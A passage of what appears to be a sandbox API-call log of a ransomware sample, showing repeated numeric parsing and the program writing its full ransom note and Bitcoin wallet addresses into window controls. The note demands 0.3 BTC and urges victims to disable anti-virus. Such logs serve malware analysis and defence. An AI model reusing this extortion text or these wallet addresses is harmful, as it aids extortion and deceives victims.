dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.470] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.471] VarParseNumFromStr (in: strIn="&H0E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.471] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.471] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.471] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.471] VarParseNumFromStr (in: strIn="&H0A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.471] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.471] VarParseNumFromStr (in: strIn="&H05", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.471] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.471] VarParseNumFromStr (in: strIn="&H0B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.471] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.471] VarParseNumFromStr (in: strIn="&H15", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.471] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.472] VarParseNumFromStr (in: strIn="&H49", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.472] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.472] VarParseNumFromStr (in: strIn="&H07", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.472] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.472] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.472] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.472] VarParseNumFromStr (in: strIn="&H13", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.472] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.472] VarParseNumFromStr (in: strIn="&H4C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.472] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.472] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.472] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.473] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.473] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.473] VarParseNumFromStr (in: strIn="&H1E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.473] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.473] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.473] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.473] VarParseNumFromStr (in: strIn="&H2F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.473] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.473] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.473] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.473] VarParseNumFromStr (in: strIn="&H18", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.474] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.474] VarParseNumFromStr (in: strIn="&H0A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.474] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.474] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.474] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.474] VarParseNumFromStr (in: strIn="&H1B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.474] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.474] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.474] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.474] VarParseNumFromStr (in: strIn="&H35", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.474] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.475] VarParseNumFromStr (in: strIn="&H0E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.475] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.475] VarParseNumFromStr (in: strIn="&H1A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.475] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.475] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.475] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.475] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.475] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.475] VarParseNumFromStr (in: strIn="&H49", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.475] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.475] VarParseNumFromStr (in: strIn="&H18", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.475] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.476] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.476] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.476] VarParseNumFromStr (in: strIn="&H14", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.476] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.476] VarParseNumFromStr (in: strIn="&H1E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.476] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.476] VarParseNumFromStr (in: strIn="&H45", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.476] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.476] VarParseNumFromStr (in: strIn="&H14", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.476] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.480] SetWindowTextA (hWnd=0x30278, lpString="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 1 [0175.480] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x649 [0175.480] GetFocus () returned 0x40298 [0175.481] lstrlenA (lpString="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 1609 [0175.481] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x64a) returned 0x383eb60 [0175.481] GetWindowTextA (in: hWnd=0x30278, lpString=0x383eb60, nMaxCount=1610 | out: lpString="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 1609 [0175.481] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0xd, wParam=0x64a, lParam=0x383eb60) returned 0x649 [0175.481] GetFocus () returned 0x40298 [0175.482] lstrcmpA (lpString1="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n", lpString2="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 0 [0175.482] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383eb60 | out: hHeap=0x3820000) returned 1 [0175.483] SetWindowTextA (hWnd=0x40292, lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 1 [0175.483] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0175.483] GetFocus () returned 0x40298 [0175.483] lstrlenA (lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 34 [0175.483] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383baf8 [0175.483] GetWindowTextA (in: hWnd=0x40292, lpString=0x383baf8, nMaxCount=35 | out: lpString="1ECwdJNw8eo5mabMSFoJyPyaCjsphT4gnR") returned 34 [0175.484] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xd, wParam=0x23, lParam=0x383baf8) returned 0x22 [0175.484] GetFocus () returned 0x40298 [0175.484] lstrcmpA (lpString1="1ECwdJNw8eo5mabMSFoJyPyaCjsphT4gnR", lpString2="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned -1 [0175.484] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383baf8 | out: hHeap=0x3820000) returned 1 [0175.484] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xc, wParam=0x0, lParam=0x1446d5c) returned 0x1 [0175.484] IsWindow (hWnd=0x40292) returned 1 [0175.484] IsWindow (hWnd=0x40292) returned 1 [0175.484] IsWindow (hWnd=0x40292) returned 1 [0175.484] IsWindow (hWnd=0x40292) returned 1 [0175.484] GetFocus () returned 0x40298 [0175.485] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0175.485] GetFocus () returned 0x40298 [0175.485] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383baf8 [0175.485] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xd, wParam=0x23, lParam=0x383baf8) returned 0x22 [0175.485] GetFocus () returned 0x40298 [0175.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383baf8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0175.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383baf8, cbMultiByte=-1, lpWideCharStr=0x1446d5c, cchWideChar=35 | out: lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 35 [0175.485] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383baf8 | out: hHeap=0x3820000) returned 1 [0175.485] SysStringLen (param_1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0x22 [0175.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=35, lpMultiByteStr=0x144265c, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpUsedDefaultChar=0x0) returned 35 [0175.485] SetWindowTextA (hWnd=0x3027a, lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 1 [0175.485] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0175.485] GetFocus () returned 0x40298 [0175.485] lstrlenA (lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 34 [0175.486] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xc, wParam=0x0, lParam=0x144265c) returned 0x1 [0175.486] IsWindow (hWnd=0x3027a) returned 1 [0175.486] IsWindow (hWnd=0x3027a) returned 1 [0175.486] IsWindow (hWnd=0x3027a) returned 1 [0175.486] IsWindow (hWnd=0x3027a) returned 1 [0175.486] GetFocus () returned 0x40298 [0175.491] SetWindowTextA (hWnd=0x30278, lpString="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 1 [0175.491] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x649 [0175.491] GetFocus () returned 0x40298 [0175.491] lstrlenA (lpString="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 1609 [0175.491] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x64a) returned 0x383eb60 [0175.491] GetWindowTextA (in: hWnd=0x30278, lpString=0x383eb60, nMaxCount=1610 | out: lpString="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 1609 [0175.491] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0xd, wParam=0x64a, lParam=0x383eb60) returned 0x649 [0175.491] GetFocus () returned 0x40298 [0175.491] lstrcmpA (lpString1="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are 